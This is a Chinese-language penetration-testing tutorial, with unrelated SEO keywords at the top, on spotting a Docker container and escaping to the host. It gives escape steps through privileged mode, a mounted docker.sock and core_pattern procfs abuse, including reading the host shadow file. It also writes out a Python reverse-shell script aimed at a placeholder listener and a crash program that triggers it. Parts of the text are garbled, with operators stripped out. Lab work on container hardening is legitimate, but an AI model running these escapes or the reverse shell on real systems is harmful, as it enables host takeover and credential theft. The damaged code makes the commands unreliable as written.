网站管理服务,公司图案设计,如何制作小程序,免费培训学校网站源码文章目录 前言1、Docker是干嘛的#xff1f;2、Docker对于渗透测试影响#xff1f;3、Docker渗透测试点有那些#xff1f;4、前渗透-判断在Docker中方式一#xff1a;查询cgroup信息方式二#xff1a;检查/.dockerenv文件方式三#xff1a;检查mount信息方式四#xff1… 文章目录 前言1、Docker是干嘛的2、Docker对于渗透测试影响3、Docker渗透测试点有那些4、前渗透-判断在Docker中方式一查询cgroup信息方式二检查/.dockerenv文件方式三检查mount信息方式四查看硬盘信息方式五查看文件系统以及挂载点 5、前渗透-镜像中的应用漏洞6、前渗透-镜像中的默认配置7、后渗透-三种安全容器逃逸 容器逃逸-特权模式容器逃逸-危险挂载1、挂载Docker Socket逃逸2、挂载宿主机procfs逃逸 前言
1、Docker是干嘛的
Docker 是一个开放源代码软件是一个开放平台用于开发应用、交付shipping应用、运行应用。Docker允许用户将基础设施Infrastructure中的应用单独分割出来形成更小的颗粒容器从而提高交付软件的速度。 Docker 容器与虚拟机类似但二者在原理上不同容器是将操作系统层虚拟化虚拟机则是虚拟化硬件因此容器更具有便携性、高效地利用服务器。
2、Docker对于渗透测试影响
3、Docker渗透测试点有那些 4、前渗透-判断在Docker中
没有权限端口扫描详细信息根据应用对象表现 但是想通过端口扫描判断对方是不是docker服务几乎是不可能的(我没遇到……)
拿到权限
方式一查询cgroup信息
docker中 真实主机上
方式二检查/.dockerenv文件
通过判断根目录下的 .dockerenv文件是否存在可以简单的识别docker环境 docker中 真实主机上 不过有一点需要注意的是如果你获取的shell权限过小的话(www-data、或是某一服务的用户)根目录下也是不存在.dockerenv文件的
方式三检查mount信息
利用mount查看挂载磁盘是否存在docker相关信息。
docker中 真实主机上
方式四查看硬盘信息
fdisk -l 容器输出为空非容器有内容输出。
docker中 真实主机上
方式五查看文件系统以及挂载点
df -h 检查文件系统挂载的目录也能够简单判断是否为docker环境。
df -h | egrep (overlay|aufs)docker中 真实主机上
参考https://blog.csdn.net/qq_23936389/article/details/131467165
5、前渗透-镜像中的应用漏洞
正常web渗透测试
6、前渗透-镜像中的默认配置
7、后渗透-三种安全容器逃逸
-特权模式启动导致不安全启动 适用于java jsp高权限无需提权 还要提权才能逃逸 -危险挂载启动导致危险启动 适用于java jsp高权限无需提权 还要提权才能逃逸 -docker自身系统漏洞软件漏洞和系统漏洞 都可用 https://wiki.teamssix.com/CloudNative/
容器逃逸-特权模式
启动靶场docker run --rm --privilegedtrue -it alpine 检测环境cat /proc/1/cgroup | grep -qi docker echo “Is Docker” || echo “Not Docker” 判断特权cat /proc/self/status | grep CapEff 如果是以特权模式启动的话CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff 查看目录fdisk -l 特权逃逸mkdir /test mount /dev/vda1 /test 判断结果尝试访问宿主机 shadow 文件可以看到正常访问
容器逃逸-危险挂载
1、挂载Docker Socket逃逸
启动靶场docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu 进入环境docker exec -it with_docker_sock /bin/bash 检测环境ls -lah /var/run/docker.sock 挂载逃逸 apt-get update apt-get install curl curl -fsSL https://get.docker.com/ | sh 在容器内部创建一个新的容器并将宿主机目录挂载到新的容器内部 docker run -it -v /:/host ubuntu /bin/bash chroot /host
2、挂载宿主机procfs逃逸
启动环境docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu 检测环境find / -name core_pattern 找到当前容器在宿主机下的绝对路径
cat /proc/mounts | xargs -d , -n 1 | grep workdir这就表示当前绝对路径为 /var/lib/docker/overlay2/5c86feb33aba7c5fc559bee1a7b47b1f8004e1f6f20db4b97d8efbfa4cc33a19/merged 创建一个反弹 Shell 的 py 脚本
cat /tmp/.x.py EOF
#!/usr/bin/python
import os
import pty
import socket
lhost xx.xx.xx.xx
lport xxxx
def main():s socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv(HISTFILE, /dev/null)pty.spawn(/bin/bash)os.remove(/tmp/.x.py)s.close()
if __name__ __main__:main()
EOF给 Shell 赋予执行权限
chmod 777 .x.py写入反弹 shell 到目标的 proc 目录下
echo -e |/var/lib/docker/overlay2/ad9b33531057ae1736388c0198e80e49de165b12d9d16bd81fd44022cff0e72f/merged/tmp/.x.py \rcore /host/proc/sys/kernel/core_pattern在攻击主机上开启一个监听然后在容器里运行一个可以崩溃的程序
cat /tmp/x.c EOF
#include stdio.h
int main(void)
{int *a NULL;*a 1;return 0;
}
EOFgcc x.c -o t
./t不过我这里尝试了好几次都没有成功……
模拟真实场景 1、高权限-Web入口到Docker逃逸Java
docker run --rm --privilegedtrue -it -p 8888:8080 vulfocus/shiro-7212、低权限-Web入口到Docker逃逸PHP
docker run --rm --privilegedtrue -it -p 8080:80 sagikazarmark/dvwajava大部分都是高权限php需提权……